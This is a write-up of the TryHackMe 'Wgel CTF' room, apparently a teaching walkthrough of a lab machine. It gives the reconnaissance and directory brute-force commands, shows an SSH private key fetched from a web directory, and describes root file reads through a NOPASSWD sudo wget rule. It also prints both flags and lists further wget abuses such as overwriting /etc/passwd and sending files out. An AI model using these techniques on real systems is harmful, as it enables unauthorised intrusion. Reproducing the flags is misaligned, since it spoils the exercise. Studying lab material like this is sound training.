Wgel CTF - TryHackMe Writeup

Easy-Level Linux Machine

Easy Web Enumeration SSH Exploitation Privilege Escalation

Published: September 2025 • 12 min read

Room Information

Platform: TryHackMe
Room: Wgel CTF
Difficulty: Easy
Target IP: 10.10.97.43
Time: 2-3 hours

Attack Vector: Web enumeration
Initial Access: SSH key exposure
Privilege Escalation: Sudo misconfiguration
Tools: Nmap, Feroxbuster, FFuf, Dirb

👤 User Flag

057c67131c3d5e42dd5cd3075b198ff6

🔐 Root Flag

b1b968b37519ad1daa6408188649263d

Phase 1: Reconnaissance

Objective: Identify open ports and running services

Started with a comprehensive Nmap scan to identify all open ports and services:

nmap -sV -sC -p- 10.10.97.43

Starting Nmap scan...

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

Port Analysis

Port 22 (SSH): OpenSSH 7.2p2 running on Ubuntu. Standard SSH configuration with no obvious vulnerabilities.
Port 80 (HTTP): Apache 2.4.18 web server. This becomes our primary target for enumeration.

Browsing to http://10.10.97.43 reveals a default Apache2 Ubuntu page, indicating the web root may contain hidden directories or content not linked from the main page.

Phase 2: Web Directory Enumeration

Objective: Discover hidden directories and files on the web server

Multi-Tool Approach

Rather than relying on a single tool, I used multiple directory enumeration tools to ensure comprehensive coverage:

Tool 1: Feroxbuster

feroxbuster -u http://10.10.97.43 \
  -w /usr/share/wordlists/dirb/common.txt \
  -t 50 \
  -x php,html,txt

Tool 2: FFuf

ffuf -u http://10.10.97.43/FUZZ \
  -w /home/fotis/wordlists/common.txt \
  -mc 200,301,302,403 \
  -t 50

Tool 3: Custom CTF Wordlist

Created a targeted wordlist with common CTF directory names:

# Create custom wordlist
echo -e "sitemap\nrobots.txt\n.well-known\nsecret\nhidden\nflag\nuser\nadmin\nbackup" > /tmp/ctf_wordlist.txt

# Use with dirb
dirb http://10.10.97.43/ /tmp/ctf_wordlist.txt

-----------------
DIRB v2.22

-----------------

+ http://10.10.97.43/sitemap/ (CODE:200|SIZE:21080)

-----------------
END_TIME: Mon Sep 29 14:23:45 2025

Discovery

Found hidden directory: /sitemap/

The custom CTF wordlist successfully identified content that standard wordlists missed.

Phase 3: Sitemap Directory Analysis

Objective: Investigate the discovered /sitemap/ directory for sensitive information

Accessing http://10.10.97.43/sitemap/ reveals a complete website with multiple pages and images. Next step was to look for common sensitive file locations within this directory.

SSH Key Discovery

Tested for SSH private keys in standard Unix locations:

curl http://10.10.97.43/sitemap/.ssh/id_rsa

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA2mujeBv3MEQFCel8yvjgDz066+8Gz0W72HJ5tvG8bj7Lz380
m+JYAquy30lSp5jH/bhcvYLsK+T9zEdzHmjKoybtwmcrxJmptSxr5+sNEfDO5KxL
...
[key content truncated]
...
-----END RSA PRIVATE KEY-----

Critical Vulnerability

SSH private key exposed in web-accessible directory. This allows complete authentication bypass for any user associated with this key.

Username Enumeration

Analyzed the sitemap website HTML source and found several references to the username jessie in:

HTML comments in the source code
Image file naming conventions
Directory structure patterns

Phase 4: Initial Access via SSH

Objective: Gain authenticated shell access using the discovered SSH key

SSH Key Exploitation

# Download the SSH private key
curl http://10.10.97.43/sitemap/.ssh/id_rsa > /tmp/id_rsa

# Set correct permissions (SSH requires 600)
chmod 600 /tmp/id_rsa

# Attempt SSH connection with discovered username
ssh -i /tmp/id_rsa jessie@10.10.97.43

Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-45-generic i686)
...
jessie@CorpOne:~$

Success: Gained SSH access as user jessie

User Flag Retrieval

jessie@CorpOne:~$ find /home -name "*flag*" -type f 2>/dev/null
/home/jessie/Documents/user_flag.txt

jessie@CorpOne:~$ cat /home/jessie/Documents/user_flag.txt
057c67131c3d5e42dd5cd3075b198ff6

User Flag: 057c67131c3d5e42dd5cd3075b198ff6

Phase 5: Privilege Escalation

Objective: Escalate from user jessie to root privileges

Sudo Permission Check

First step in Linux privilege escalation is checking sudo permissions:

jessie@CorpOne:~$ sudo -l
Matching Defaults entries for jessie on CorpOne:
    env_reset, mail_badpass, 
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User jessie may run the following commands on CorpOne:
    (ALL : ALL) ALL
    (root) NOPASSWD: /usr/bin/wget

Key Finding

User jessie can execute /usr/bin/wget as root without password (NOPASSWD)

Wget Exploitation Technique

The wget command has a useful feature for reading files when using the -i flag. It reads each line of the file and attempts to interpret it as a URL. When it fails to resolve these "URLs", the error messages reveal the file contents.

jessie@CorpOne:~$ sudo wget -i /root/root_flag.txt

--2025-09-29 02:40:05--  http://b1b968b37519ad1daa6408188649263d/
Resolving b1b968b37519ad1daa6408188649263d (b1b968b37519ad1daa6408188649263d)... failed: Name or service not known.
wget: unable to resolve host address 'b1b968b37519ad1daa6408188649263d'

Exploitation Analysis

The error message reveals the root flag: b1b968b37519ad1daa6408188649263d

When wget attempts to resolve the flag value as a hostname, it displays the complete contents in the error output.

Root Flag: b1b968b37519ad1daa6408188649263d

Alternative Wget Privilege Escalation Methods

Other ways to exploit sudo wget access include:

File Overwrite: Download malicious content to overwrite critical system files like /etc/passwd or /etc/shadow
Cron Job Injection: Overwrite cron files to execute commands as root
Binary Replacement: Replace system binaries with trojaned versions
Post Request: Use wget to exfiltrate sensitive files to an attacker-controlled server

Attack Chain Summary

1. Reconnaissance: Nmap scan identified SSH (22) and HTTP (80) services
2. Enumeration: Multi-tool directory brute-forcing discovered hidden /sitemap/ directory
3. Credential Discovery: Found exposed SSH private key at /sitemap/.ssh/id_rsa
4. Initial Access: Used SSH key to authenticate as user jessie
5. Privilege Escalation: Exploited NOPASSWD sudo access to wget for file reading
6. Complete Compromise: Retrieved both user and root flags

Key Takeaways

🔍 Enumeration Techniques

• Multiple tools provide better coverage than single-tool approaches
• Custom wordlists targeting CTF-specific terms improve discovery rates
• Always test for standard Unix paths like /.ssh/, /.git/, /backup/
• Default web pages often hide additional content

⚡ Privilege Escalation

• sudo -l should always be the first privilege escalation check
• Commands with file read/write capabilities can be dangerous with sudo
• GTFOBins is an invaluable resource for command exploitation
• NOPASSWD sudo entries are prime escalation targets

🔐 Security Lessons

• Never expose SSH private keys through web servers
• Restrict web server directory access with proper permissions
• Minimize sudo privileges - avoid wildcards and dangerous commands
• Regular security audits can identify misconfigurations

🛠️ Tools Used

• Nmap: Service enumeration and version detection
• Feroxbuster/FFuf/Dirb: Web directory enumeration
• curl: File retrieval and testing
• SSH: Remote access exploitation

Conclusion

Wgel CTF demonstrates fundamental penetration testing concepts through a straightforward attack path. The machine rewards thorough enumeration with multiple tools and creative thinking for privilege escalation.

The progression from web enumeration to SSH key discovery, followed by sudo misconfiguration exploitation, represents a realistic attack scenario that highlights common security weaknesses in web applications and Linux systems.

This room serves as an excellent practice ground for developing systematic penetration testing methodology and understanding the importance of proper access controls and privilege management.